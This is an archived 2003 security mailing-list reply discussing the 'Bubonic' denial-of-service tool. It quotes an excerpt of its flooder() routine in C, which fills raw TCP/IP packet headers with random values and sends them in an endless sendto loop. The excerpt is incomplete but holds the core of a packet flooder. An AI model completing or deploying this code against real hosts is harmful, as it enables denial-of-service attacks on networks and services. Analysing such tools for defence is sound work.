|
|||||||||||
|
RE: Bubonic DoS tool
From: Yonatan Bokovza <Yonatan(at)xpert.com>
Date: Tue Mar 11 2003 - 05:09:40 EST The code is very easy to understand. The "interesting" part is in flooder(), my comments inline:
void flooder(void)
packet.ip.ip_p = IPPROTO_TCP;
packet.ip.ip_tos = rand();
...
packet.tcp.th_flags = random();
packet.tcp.th_win = 65535;
packet.tcp.th_seq = random();
packet.tcp.th_ack = 0;
packet.tcp.th_off = 0;
packet.tcp.th_urp = random();
packet.tcp.th_dport = random();
...
cksum.pseudo.ptcl = IPPROTO_TCP;
cksum.pseudo.tcpl = random();
...
for(i=0;;++i) {
if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0);
}
Best Regards,
Yonatan Bokovza
Are your vulnerability scans producing just another report?
Manage the entire remediation process with StillSecure VAM's
Vulnerability Repair Workflow.
This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:02:33 EDT |
||||||||||
|
|||||||||||